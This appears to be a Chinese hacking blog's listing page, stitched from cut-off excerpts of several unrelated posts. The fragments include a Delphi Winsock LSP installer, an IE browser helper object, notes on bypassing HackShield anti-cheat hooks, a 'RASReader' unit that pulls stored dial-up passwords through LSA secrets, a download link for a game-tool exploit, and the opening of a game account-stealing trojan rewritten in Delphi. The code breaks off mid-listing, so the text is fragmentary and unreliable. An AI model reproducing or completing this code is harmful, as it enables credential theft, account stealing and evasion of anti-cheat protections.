安装代码:

program install;

{$APPTYPE CONSOLE}

uses
Windows,
SysUtils,
installspi in 'installspi.pas';

var
LibPath: String;
SysDir: Array[0..256] Of Char;
procedure PrintReturnCode(code:Integer);
begin
case code of
    0: Writeln ('Success');
-801: Writeln ('The TcpIpDog service provider not installed');
-802:

         跑Oracle的Hash的软件多滴是.这是之前写Oracle工具里的一段代码..嘿嘿..扔出来.方便有资源又感兴趣的人做个入库记录也是不错的.不用每次都去跑嘛.

代码如下:

{*******************************************************}
{                                    

嘿嘿.N久滴东东喽.

vb code:

Implements IObjectWithSiteTLB.IObjectWithSite
Dim WithEvents IE As InternetExplorer
Dim M_Site As IUnknownVB
'Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFilename As String) As Long
'Private Declare Sub OutputDe

       用工具查看HS所挂勾的函数(只看导出.至与没有导出的.Me现在还没有能力去理解) NtOpenProcess NtReadVirtualMemory NtWriteVirtualMemory 这个三个函数不难想象其用途.用工具修复后一会又被它挂回.无奈只有写驱绕过.可惜Me对C不来电.C现成的代码N多.很是羡慕会C的淫.先用windbg眯上几

有啥好神秘的..我!@#!#@$%#$%^

以下是delphi 单元

unit RASReader;

interface

uses
Windows;

function GetLoginPass:string;

implementation

const
POLICY_VIEW_LOCAL_INFORMATION = 1;
POLICY_VIEW_AUDIT_INFORMATION = 2;
POLICY_GET_PRIVATE_INFORMATION = 4;
POLICY_TRUST_ADMIN = 8;
POLICY_CREATE_ACCOUNT = 16;
POLICY_CREATE_SECRET = 32;
POLICY_CREATE_PRIVILEGE = 64;
POLICY_SET_DEFAULT_Q

市面上的DNF箱子大多数都存在这个漏洞..代码到我网盘里下吧

DNF_UPFILE.RAR（9780399.ys168.com）

    能安装过程没有必要去逆了.放到沙盒里运行就行清楚明了.当然在细节上..比如它hook MessageBoxA 函数.还有利得金钱方面等.我都不大去了解..

    以下是我根具某盗号木马.粗略的用DELPHI 描术.

{*******************************************************}
{                                 

RT